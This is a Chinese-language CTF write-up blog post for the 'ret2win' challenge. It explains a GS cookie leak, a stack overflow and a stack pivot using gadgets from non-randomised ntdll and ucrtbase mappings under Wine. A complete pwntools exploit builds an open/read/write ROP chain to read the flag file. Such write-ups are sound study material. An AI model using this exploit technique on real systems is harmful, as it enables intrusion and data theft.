ret2win

TRXCTF2026ret2win (1).png

我们可以看到开了ASLR,VA就是提升了随机化程度,GS类似于canary,但是实现不同

GS的实现是:

saved_cookie = __security_cookie ^ rsp;
...
check(saved_cookie ^ rsp == __security_cookie);

这里我们首先利用strncpy不会在末尾自动加\x00和填满缓冲区到存放saved_cookie前以及puts来泄露main函数里的saved_cookie(相当于canary保护)

而saved_cookie的公式是saved_cookie_main = sercurity_cookie ^ rsp_main

uintptr_t __fastcall other_input(__int64 a1, const char *Format)
{
  __int64 v3; // [rsp+0h] [rbp-138h] BYREF
  char Buffer_[256]; // [rsp+30h] [rbp-108h] BYREF
  __int64 v5; // [rsp+130h] [rbp-8h]

  sprintf("Enter the path to save the art: ", Format);
  sfgets(Buffer_);
  puts("TODO: implement");
  return _security_cookie - ((unsigned __int64)&v3 ^ v5);
}

这个函数里面有一个栈溢出漏洞,这里sfgets能填充300字节,而buffer只用256字节,所以我们只要把这个函数的saved_cookie_over算出来就能栈溢出了

这里saved_cookie_main = sercurity_cookie ^ rsp_main

saved_cookie_over = sercurity_cookie ^ rsp_over,

也就是saved_cookie_over = saved_cookie_main ^ rsp_main ^ rsp_over

而saved_cookie_main我们以及泄露出来了,rsp_main ^ rsp_main是一个固定的值,那我们只用在gdb中把这个值算出来我们就获得了saved_cookie_over

TRXCTF2026ret2win (2).png

然后我们就能直接栈溢出了,要注意的一点就是这里没用rbp做栈指针,所以saved_cookie后面直接就是返回地址

这里我们在从覆盖返回地址这里开始算最多只能写入36字节,这里要考虑栈迁移了

这题有一个要注意的点,就是虽然开了alsr,但是我们在docker中gdb动调可以发现有很多文件映射和匿名映射的地址实际上并不会随机,例如chall.exe和ucrbase.bll和ntdll.dll文件的映射的虚拟地址是不随机化的,还有我们第二次的fgets写入的地址是处于一个匿名内存映射的地址,这个地址也没有随机化,当然,stack区和很多so文件映射的地址是随机化的。

chall.exe和ucrbase.bll和ntdll.dll文件映射的地址是确定的代表我们有很多gadget可以用,例如,我们可以从ntdll.dll中找到pop rsp,ret,那我们就能用这个gadget来栈迁移解决我们只能覆盖36字节的问题了:

payload = flat([
    prdi, 0,
    prsi,orw_addr,
    prdx, 0x400,
    prax, 0,
    syscall,
    prsp,
    orw_addr + 0x20,
]).ljust(0x100, b'\x00')
payload1 = flat([
    payload,
    saved_cookie_over,
    ret,
    prsp,
    fgets_addr
])

我们在填充buf的地方放我们的stage_read来节省空间,由于fgets写入的地址不会随机化,我们直接栈迁移到stage_read,然后通过这个read把我们二阶段的orw链写入就行了,这里owr_addr也是一个不会随机化的地址,权限是rw-p

这里要注意一点,由于我是从docker里把ntdll.dll和ucrbase.bll copy出来然后用Ropgagdget来找gadget,所以显示的是类似0x17000e942 : syscall ; ret

这里:

  • 0x170000000 是这个模块静态分析时看到的 image base / preferred base
  • 0xe942 才是模块内偏移

这里的静态分析的基址是不对的,要用我们docker里面gdb动调看到的基址,所以我们只取0x942

这题我在dcoker中动调显示的open返回的rax是13,但是实际上远程rax是11

EXP:

from pwn import *
context(os='linux', arch='amd64', bits=64)
context.terminal = ['tmux', 'splitw', '-h']
target = '127.0.0.1 1337'

debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

parts = target.replace(':', ' ').split()
host = parts[-2]
port   = int(parts[-1])
use_ssl = '--ssl' in parts
p = remote(host, port, ssl=use_ssl, sni=host if use_ssl else None)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def rn(numb):            return p.recvn(numb)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def addr(off):           return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def bt(*values):         return bytes([v & 0xff for v in values])
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def base(val, binary=elf):            return binary.address + val  
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed):     return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed):    return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]

def ga(delim=b'|', name='Leak', data=None):
    target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]

#################################################################################
pause()
sla(b"Enter your phrase:",fill(254))
ru(fill(254))
leak = uu64(r(6))
lg('leak',leak)
ret = 0x140001069
saved_cookie_over = leak ^ 0x7c0

ntdll_dll = 0x6fffffc00000
ucrtbasedll_base = 0x6ffffea30000 #/opt/wine-stable/lib/wine/x86_64-windows/ucrtbase.dll
prdi = 0x140001621
prsi = ucrtbasedll_base + (0x180017240 - 0x180000000)
prdx = ucrtbasedll_base + (0x18001df46 - 0x180000000)
prax = ucrtbasedll_base + (0x180018f92 - 0x180000000)
syscall = ntdll_dll + (0x17000e942  - 0x170000000)
prsp = ntdll_dll + (0x17001358a - 0x170000000)
orw_addr = 0x7ffffe000000 + 0x200
buf_addr = 0x7ffffe000000 + 0x1000
fgets_addr = 0x7ffffe1ffb80
payload = flat([
    prdi, 0,
    prsi,orw_addr,
    prdx, 0x400,
    prax, 0,
    syscall,
    prsp,
    orw_addr + 0x20,
]).ljust(0x100, b'\x00')
payload1 = flat([
    payload,
    saved_cookie_over,
    ret,
    prsp,
    fgets_addr
])
payload2 = flat([
    b"/home/user/flag\x00".ljust(0x20, b'\x00'),
    prdi, orw_addr,
    prsi, 0,
    prdx, 0,
    prax, 2,
    syscall,
  
    prdi, 11,
    prsi, buf_addr,
    prdx, 0x100,
    prax , 0,
    syscall,
  
    prdi, 1,
    prsi, buf_addr,
    prdx, 0x100,
    prax, 1,
    syscall
])

sla(b"Enter the path to save the art:", payload1)
sa(b"TODO: implement", payload2)
it()

题目链接:待更新


ret2win
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-OhB1tmmr
作者
ZenDuk
发布于
2026年04月27日
许可协议